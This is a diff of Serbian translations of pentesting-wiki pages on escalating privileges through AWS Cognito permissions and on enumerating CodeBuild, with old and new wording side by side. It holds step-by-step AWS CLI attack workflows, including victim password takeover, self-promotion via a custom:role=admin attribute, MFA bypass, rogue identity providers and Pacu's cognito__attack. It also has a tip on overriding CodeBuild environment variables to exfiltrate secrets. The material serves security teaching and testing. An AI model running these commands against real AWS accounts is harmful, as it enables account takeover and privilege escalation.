@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
Ako cognito aplikacija **nema omogućeno korišćenje neautentifikovanih korisnika** možda će vam takođe biti potrebna dozvola `cognito-identity:UpdateIdentityPool` da to omogućite.
Ako cognito app **nema omogućene unauthenticated users**, možda će vam takođe trebati dozvola `cognito-identity:UpdateIdentityPool` da je omogućite.
**Potencijalni uticaj:** Direktan privesc na bilo koju cognito role.
**Potencijalni uticaj:** Direktan privesc na bilo koju cognito ulogu.
### `cognito-identity:update-identity-pool`
Napadač sa ovom dozvolom može, na primer, da podesi Cognito User Pool pod svojom kontrolom ili bilo kog drugog identity providera preko kojeg se može prijaviti kao **način pristupa ovom Cognito Identity Pool-u**. Zatim, samo **login** na tom identity provider-u će mu **omogućiti pristup konfigurisanom authenticated role u Identity Pool-u**.
Napadač sa ovom dozvolom može, na primer, da podesi Cognito User Pool pod svojom kontrolom ili bilo kog drugog identity providera gde se može login-ovati kao **način da pristupi ovom Cognito Identity Pool-u**. Zatim, samo **login** na tom provideru će mu **omogućiti pristup konfigurisanom authenticated role-u u Identity Pool-u**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
Takođe je moguće **zloupotrebiti ovu dozvolu da omogući basic auth**:
Takođe je moguće **zloupotrebiti ovu dozvolu da se omogući basic auth**:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
@@ -69,40 +69,40 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Potencijalni uticaj**: Kompromitovanje konfigurisane autentifikovane IAM role unutar identity pool-a.
**Potential Impact**: Kompromitovanje konfigurisane autentifikovane IAM role unutar identity pool.
### `cognito-idp:AdminAddUserToGroup`
Ova dozvola omogućava **dodavanje Cognito korisnika u Cognito grupu**, zato napadač može zloupotrebiti ovu dozvolu da doda korisnika pod svojom kontrolom u druge grupe sa **boljim** privilegijama ili **različitim IAM roles**:
Ova dozvola omogućava **dodavanje Cognito korisnika u Cognito grupu**, stoga napadač može zloupotrebiti ovu dozvolu da doda korisnika pod svojom kontrolom u druge grupe sa **boljim** privilegijama ili **drugačijim IAM rolama**:
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
```
**Potencijalni uticaj:** Privesc na druge Cognito grupe i IAM role vezane za User Pool Groups.
**Mogući uticaj:** Privesc na druge Cognito grupe i IAM role pridružene User Pool Groups.
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
Napadač sa ovim dozvolama može **kreirati/ažurirati grupe** sa **svakom IAM rolom koja može biti korišćena od strane kompromitovanog Cognito Identity Provider-a** i učiniti kompromitovanog korisnika članom te grupe, dobijajući pristup svim tim rolama:
Napadač sa ovim dozvolama može **kreirati/izmeniti grupe** sa **svim IAM rolama koje mogu biti korišćene od kompromitovanog Cognito Identity Provider-a** i učiniti kompromitovanog korisnika članom grupe, dobijajući pristup svim tim rolama:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
**Potential Impact:** Privesc na druge Cognito IAM role.
**Potencijalni uticaj:** Privesc na druge Cognito IAM roles.
### `cognito-idp:AdminConfirmSignUp`
Ova dozvola omogućava **potvrdu registracije**. Po podrazumevanim podešavanjima, svako može da se prijavi u Cognito aplikacije. Ako je to omogućeno, korisnik može da kreira nalog sa bilo kojim podacima i potvrdi ga ovom dozvolom.
Ovo dopuštenje omogućava **potvrđivanje registracije**. Po podrazumevanoj postavci svako može da se prijavi u Cognito aplikacije; ako je to omogućeno, korisnik može da kreira nalog sa bilo kojim podacima i potvrdi ga koristeći ovo dopuštenje.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Potencijalni uticaj:** Indirektni privesc na identity pool IAM role za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektni privesc na druge funkcionalnosti aplikacije koje omogućavaju potvrđivanje bilo kog naloga.
**Mogući uticaj:** Indirect privesc do identity pool IAM role za authenticated users ako možete registrovati novog korisnika. Indirect privesc do drugih funkcionalnosti aplikacije koje omogućavaju potvrđivanje bilo kog naloga.
### `cognito-idp:AdminCreateUser`
Ova dozvola bi omogućila napadaču da kreira novog korisnika unutar user pool-a. Novi korisnik se kreira kao aktiviran, ali će morati da promeni lozinku.
Ovo dopuštenje bi napadaču omogućilo da kreira novog korisnika unutar user pool-a. Novi korisnik se kreira kao omogućen (enabled), ali će morati da promeni lozinku.
```bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
[--validation-data <value>]
[--temporary-password <value>]
```
**Potencijalni uticaj:** Direktni privesc ka identity pool IAM role za authenticated users. Indirektni privesc ka drugim funkcionalnostima aplikacije koje mogu da kreiraju bilo kog korisnika
**Potencijalni uticaj:** Direktan privesc na identity pool IAM role za autentifikovane korisnike. Indirektan privesc na druge funkcionalnosti aplikacije, omogućavajući kreiranje bilo kog korisnika
### `cognito-idp:AdminEnableUser`
Ova dozvola može pomoći u veoma retkom slučaju kada napadač pronađe podatke za prijavu onemogućenog korisnika i treba da **ponovo omogući** nalog.
Ova dozvola može pomoći u veoma retkom slučaju kada napadač pronađe kredencijale onemogućenog korisnika i treba da ga ponovo **omogući**.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**Potencijalni uticaj:** Indirektno privesc na identity pool IAM role za autentifikovane korisnike i dozvole korisnika ako napadač ima kredencijale za onemogućenog korisnika.
**Potencijalni uticaj:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
Ovo dopuštenje omogućava prijavu pomoću [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Za više informacija pogledajte link.
Ovo dopuštenje omogućava prijavu pomoću [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Za više informacija pratite link.
### `cognito-idp:AdminSetUserPassword`
Ovo dopuštenje bi napadaču omogućilo **promeniti lozinku bilo kog korisnika**, omogućavajući napadaču da se predstavlja kao bilo koji korisnik (koji nema omogućen MFA).
Ovo dopuštenje bi omogućilo napadaču da **postavi poznatu lozinku za bilo kog korisnika**, što obično rezultira u **direktnom preuzimanju naloga** (posebno ako žrtva nema omogućenu MFA, ili MFA nije primenjena za relevantan auth flow/client).
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
--password <value> \
--permanent
```
**Potencijalni uticaj:** Direktan privesc na potencijalno bilo kog korisnika, što omogućava pristup svim grupama kojima je taj korisnik član i pristup Identity Pool authenticated IAM role.
Uobičajeni tok rada:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'
# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
```
Povezano dopuštenje: `cognito-idp:AdminResetUserPassword` može se koristiti za pokretanje procesa resetovanja lozinke za žrtvu (uticaj zavisi od toga kako je implementirana obnova lozinke i šta napadač može presresti ili kontrolisati).
**Potencijalni uticaj:** Preuzimanje naloga proizvoljnih korisnika; pristup privilegijama na nivou aplikacije (groups/roles/claims) i svemu što dalje veruje Cognito tokenima; potencijalni pristup Identity Pool autentifikovanim IAM rolama.
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
**AdminSetUserSettings**: Napadač bi mogao potencijalno zloupotrebiti ovu dozvolu da podesi mobilni telefon koji kontroliše kao **SMS MFA korisnika**.
**AdminSetUserSettings**: Napadač bi potencijalno mogao zloupotrebiti ovo dopuštenje da postavi mobilni telefon pod svojom kontrolom kao **SMS MFA za korisnika**.
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
```
**SetUserMFAPreference:** Slično prethodnoj, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita.
**SetUserMFAPreference:** Slično prethodnoj, ova dozvola se može koristiti za podešavanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** Moguće je ažurirati user pool da se promeni MFA politika. [Pogledaj CLI ovde](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**Potencijalni uticaj:** Neizravan privesc na potencijalno bilo kog korisnika čije kredencijale napadač zna; ovo može omogućiti zaobilaženje MFA zaštite.
**Potencijalni uticaj:** Indirektan privesc prema potencijalno bilo kojem korisniku čije akreditive napadač zna; ovo može omogućiti zaobilaženje MFA zaštite.
### `cognito-idp:AdminUpdateUserAttributes`
Napadač sa ovom dozvolom može promeniti email, broj telefona ili bilo koji drugi atribut korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u povezanoj aplikaciji.\
Ovo omogućava promenu email-a ili broja telefona i njihovo označavanje kao verifikovanih.
Napadač sa ovom dozvolom može promeniti **bilo koji izmenjivi atribut** korisnika User Pool-a (uključujući `custom:*` atribute) kako bi pokušao da stekne privilegije u osnovnoj aplikaciji.
Uobičajen visokouticajan obrazac je **claim-based RBAC** implementiran korišćenjem **custom attributes** (na primer `custom:role=admin`). Ako aplikacija veruje tom claim-u, njegovo ažuriranje i ponovno autentifikovanje može zaobići autorizaciju bez diranja aplikacije.
```bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
```
**Potencijalni uticaj:** Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koji dodeljuje privilegije na osnovu atributa korisnika.
Primer: unapredite sopstvenu ulogu i osvežite tokene:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"
# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"
# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
```
**Potential Impact:** Indirect privesc u aplikacijama koje veruju Cognito atributima/claims za autorizaciju; mogućnost izmene drugih bezbednosno-relevantnih atributa (na primer, postavljanje `email_verified` ili `phone_number_verified` na `true` može biti važno u nekim aplikacijama).
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
Napadač sa ovom dozvolom mogao bi **kreirati novi User Pool Client manje restriktivan** od već postojećih. Na primer, novi client bi mogao dozvoliti bilo koji metod za authenticate, ne bi imao any secret, onemogućeno bi bilo token revocation, tokeni bi mogli važiti duže vreme...
Napadač sa ovom dozvolom može **kreirati novi User Pool Client sa manje ograničenja** u odnosu na već postojeće pool clients. Na primer, novi client može dozvoliti bilo koju metodu autentikacije, možda neće imati secret, može imati onemogućenu token revocation, ili dozvoliti da tokens važe duže.
Isto se može desiti ako, umesto kreiranja novog clienta, **postojeći bude izmenjen**.
Isto se može postići i ako, umesto kreiranja novog clienta, bude izmenjen **postojeći**.
U [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) možete videti sve opcije, proverite!
U [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ili u [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) možete videti sve opcije, proverite!
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
```
**Potential Impact:** Potencijalni indirektni privesc ka autorizovanom korisniku Identity Pool koji se koristi od strane User Pool kreiranjem novog klijenta koji popušta bezbednosne mere i omogućava napadaču da se prijavi koristeći korisnika kojeg je uspeo da kreira.
**Potential Impact:** Potencijalni indirektni privesc na Identity Pool autorizovanog user-a koji koristi User Pool, preko kreiranja novog client-a koji popušta sigurnosne mere i omogućava attacker-u da se login-uje sa user-om kojeg je uspeo da kreira.
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
Napadač bi mogao zloupotrebiti ovu dozvolu da kreira korisnike učitavanjem CSV-a sa novim korisnicima.
Attacker može zloupotrebiti ovu dozvolu da kreira users učitavanjem csv fajla sa novim users.
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(U slučaju da kreirate novi import job možda će vam takođe trebati iam passrole dozvola, nisam to još testirao).
(U slučaju da kreirate novi import job možda će vam takođe trebati iam passrole permission, nisam to još testirao).
**Potencijalni uticaj:** Direktan privesc na identity pool IAM role za autentifikovane korisnike. Indirektan privesc na druge funkcionalnosti aplikacije koje bi omogućile kreiranje bilo kog korisnika.
**Potencijalni uticaj:** Direktan privesc na identity pool IAM role za autentifikovane korisnike. Indirektan privesc na druge funkcionalnosti aplikacije koje bi mogle da kreiraju bilo kog korisnika.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
Napadač bi mogao da kreira novog identity providera kako bi se potom mogao **prijaviti preko ovog providera**.
Napadač bi mogao da kreira novog identity providera kako bi zatim mogao da se **prijavi preko ovog providera**.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
@@ -230,36 +278,36 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Potencijalni uticaj:** Direktan privesc na identity pool IAM role za authenticated users. Indirektan privesc na druge funkcionalnosti aplikacije koje omogućavaju kreiranje bilo kog korisnika.
**Potential Impact:** Direktan privesc na identity pool IAM role za autentifikovane korisnike. Indirektan privesc ka drugim funkcionalnostima aplikacije koje bi omogućile kreiranje bilo kog korisnika.
### cognito-sync:\* Analysis
### cognito-sync:\* Analiza
Ovo je veoma uobičajena dozvola po defaultu u rolama Cognito Identity Pools. Čak i ako wildcard u dozvolama uvek deluje loše (pogotovo kod AWS), **date dozvole nisu preterano korisne iz perspektive napadača**.
Ovo je veoma česta dozvola po defaultu u rolama Cognito Identity Pools. Čak i ako wildcard u dozvolama uvek deluje loše (posebno kada dolazi iz AWS), **dodeljene dozvole nisu naročito korisne iz perspektive napadača**.
Ova dozvola omogućava čitanje informacija o Identity Pools i Identity IDs unutar Identity Pools (što nije osetljiva informacija).\
Identity IDs mogu imati dodeljene [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), koje su informacije o sesijama (AWS ih definiše kao **saved game**). Moguće je da ovo sadrži neku vrstu osetljivih informacija (ali verovatnoća je prilično niska). Na [**stranici za enumeraciju**](../../aws-services/aws-cognito-enum/index.html) možete pronaći kako pristupiti tim informacijama.
Identity IDs mogu imati dodeljene [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), koje su informacije sesija (AWS ih definiše kao **saved game**). Moguće je da ovo sadrži neku vrstu osetljivih podataka (ali verovatnoća je prilično niska). Na [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) možete pronaći kako pristupiti ovim informacijama.
Napadač takođe može iskoristiti ove dozvole da se pretplati na Cognito stream koji objavljuje promene na tim dataset-ima ili na lambda koja se okida na cognito događaje. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće.
Napadač bi takođe mogao koristiti ove dozvole da **enroll himself to a Cognito stream that publish changes** na ovim datases ili da pokrene **lambda that triggers on cognito events**. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće.
### Automatski alati
### Automatic Tools
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, korisničke atribute koji se koriste za kontrolu pristupa, itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i privilege escalation zasnovan na izmenjivim custom atributima, iskoristivim identity pool credential-ima, assumable rolama u id tokenima, itd.
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, sada uključuje "cognito\_\_enum" i "cognito\_\_attack" module koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, korisničke atribute koji se koriste za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija zasnovanu na modifikabilnim custom atributima, iskoristivim identity pool kredencijalima, assumable rolama u id tokenima, itd.
Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za instrukcije instalacije pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu.
Za opis funkcija modula pogledajte deo 2 [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za instrukcije instalacije pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
#### Upotreba
#### Korišćenje
Primer cognito\_\_attack upotrebe za pokušaj kreiranja korisnika i svih privesc vektora protiv zadatog identity pool-a i user pool client-a:
Primer korišćenja cognito\_\_attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identity pool i user pool client-a:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Primer korišćenja cognito\_\_enum za prikupljanje svih user pools, user pool clients, identity pools, users itd. vidljivih u trenutnom AWS nalogu:
Primer korišćenja cognito__enum za prikupljanje svih user pools, user pool clients, identity pools, users itd. vidljivih u trenutnom AWS nalogu:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući privesc escalation.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući privesc eskalaciju.
#### Instalacija
```bash

View File

@@ -4,29 +4,29 @@
## CodeBuild
AWS **CodeBuild** se prepoznaje kao **potpuno upravljana usluga kontinuirane integracije**. Primarna svrha ove usluge je automatizacija sekvence kompajliranja izvornog koda, izvršavanja testova i pakovanja softvera za svrhe implementacije. Glavna prednost koju nudi CodeBuild leži u njegovoj sposobnosti da olakša korisnicima potrebu za obezbeđivanjem, upravljanjem i skaliranjem svojih build servera. Ova pogodnost dolazi zato što sama usluga upravlja tim zadacima. Osnovne karakteristike AWS CodeBuild obuhvataju:
AWS **CodeBuild** je prepoznat kao **potpuno upravljana usluga kontinuirane integracije**. Primarna svrha ove usluge je automatizacija procesa kompajliranja izvornog koda, izvršavanja testova i pakovanja softvera za potrebe deployment-a. Glavna prednost CodeBuild-a je što eliminiše potrebu da korisnici provisiru, upravljaju i skaliraju svoje build servere, jer to servis radi umesto njih. Ključne karakteristike AWS CodeBuild obuhvataju:
1. **Upravljana usluga**: CodeBuild upravlja i skalira build servere, oslobađajući korisnike od održavanja servera.
2. **Kontinuirana integracija**: Integrira se sa razvojnim i implementacionim radnim tokom, automatizujući faze build-a i testiranja procesa objavljivanja softvera.
3. **Proizvodnja paketa**: Nakon faza build-a i testiranja, priprema softverske pakete, čineći ih spremnim za implementaciju.
1. **Managed Service**: CodeBuild upravlja i skalira build servere, oslobađajući korisnike od održavanja servera.
2. **Continuous Integration**: Integriše se u tok razvoja i deployment-a, automatizujući faze buildovanja i testiranja u procesu objavljivanja softvera.
3. **Package Production**: Nakon faza buildovanja i testiranja, priprema softverske pakete spremne za deployment.
AWS CodeBuild se besprekorno integriše sa drugim AWS uslugama, poboljšavajući efikasnost i pouzdanost CI/CD (Kontinuirana integracija/Kontinuirana implementacija) lanca.
AWS CodeBuild se besprekorno integriše sa drugim AWS servisima, poboljšavajući efikasnost i pouzdanost CI/CD pipeline-a.
### **Github/Gitlab/Bitbucket akreditivi**
### **Github/Gitlab/Bitbucket Credentials**
#### **Podrazumevani izvorni akreditivi**
#### **Default source credentials**
Ovo je opcija iz prošlosti gde je moguće konfigurisati neke **pristupe** (kao što je Github token ili aplikacija) koji će biti **deljeni među codebuild projektima** tako da svi projekti mogu koristiti ovaj konfigurisani set akreditiva.
Ovo je nasleđena opcija gde je moguće konfigurisati neki **pristup** (npr. Github token ili app) koji će biti **deljen između CodeBuild projekata** tako da svi projekti mogu koristiti ovaj konfigurisani set kredencijala.
Skladišteni akreditivi (tokeni, lozinke...) su **upravlja od strane codebuild** i ne postoji javni način da se do njih dođe putem AWS API-ja.
Skladišteni kredencijali (tokeni, lozinke...) su **upravlјani od strane CodeBuild** i ne postoji javni način da ih se dohvati preko AWS API-ja.
#### Prilagođeni izvorni akreditiv
#### Custom source credential
U zavisnosti od platforme repozitorijuma (Github, Gitlab i Bitbucket) pružaju se različite opcije. Ali generalno, svaka opcija koja zahteva **smeštanje tokena ili lozinke će ih sačuvati kao tajnu u menadžeru tajni**.
U zavisnosti od platforme repozitorijuma (Github, Gitlab i Bitbucket) dostupne su različite opcije. Ali generalno, svaka opcija koja zahteva da se **sačuva token ili lozinka će ga sačuvati kao secret u secrets manager-u**.
To omogućava **različitim codebuild projektima da koriste različite konfigurisane pristupe** provajderima umesto da koriste samo konfigurisani podrazumevani.
Ovo omogućava **različitim CodeBuild projektima da koriste različite konfigurisane pristupe** provajderima umesto da koriste samo konfigurisani podrazumevani.
### Enumeration
### Enumeracija
```bash
# List external repo creds (such as github tokens)
## It doesn't return the token but just the ARN where it's located
@@ -47,9 +47,12 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
aws codebuild list-reports
aws codebuild describe-test-cases --report-arn <ARN>
```
> [!TIP]
> Ako imate `codebuild:StartBuild`, imajte na umu da često možete override-ovati env vars pri build-u (`--environment-variables-override`). Ovo je dovoljno za neke napade čak i bez `UpdateProject` ili `buildspec` overrides (na primer: redirecting artifact/upload buckets to exfiltrate secrets, or abusing language/runtime env vars to execute commands).
### Privesc
Na sledećoj stranici možete proveriti kako da **zloupotrebite codebuild dozvole za eskalaciju privilegija**:
Na sledećoj stranici možete pogledati kako **abuse codebuild permissions to escalate privileges**:
{{#ref}}
../aws-privilege-escalation/aws-codebuild-privesc/README.md